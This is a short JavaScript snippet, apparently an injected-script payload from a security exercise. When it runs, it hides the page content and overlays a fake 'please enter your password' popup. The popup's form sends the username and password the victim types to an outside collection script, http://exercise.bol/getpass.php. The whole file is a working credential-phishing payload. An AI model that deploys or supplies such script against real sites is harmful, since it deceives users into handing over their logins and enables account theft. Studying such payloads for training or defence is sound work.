function addPop() {
      $(".panel-body").hide();
      var newDiv = document.createElement("div");
      newDiv.innerHTML += '<div id="popup" style="position:absolute;width:300px;text-align:center;z-index:999;top:50%;left:50%;margin-top:-50px;margin-left:-150px;background-color:#fff;overflow:hidden;padding:10px;"><div style="height:30px;">please enter your password</div><form class="form-inline" id="formy" style="height:50px;" method="post" action="http://exercise.bol/getpass.php"><input type="text" placeholder="usename" name="user" value="" ><input type="password" placeholder="Password" name="pass" value="" ><input class="btn btn-primary" type="submit" value="send it" /></form><button class="btn btn-primary" style="float:right" onclick="closepop()">close</button></div>';
      document.body.appendChild(newDiv);
      document.body.style.background = '#353333';
    }

    function closepop() {
      var el1 = document.getElementById('popup');
      el1.remove();
      document.body.style.background = 'white';
    }
    addPop();